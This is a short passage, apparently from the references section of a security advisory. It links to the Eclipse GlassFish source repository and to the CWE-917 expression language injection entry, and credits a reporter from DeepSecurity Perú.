Eclipse GlassFish Sourcehttps://github.com/eclipse-ee4j/glassfish
CWE-917https://cwe.mitre.org/data/definitions/917.html
보고자Camilo G. (DeepSecurity Perú) — @SeguridadBlanca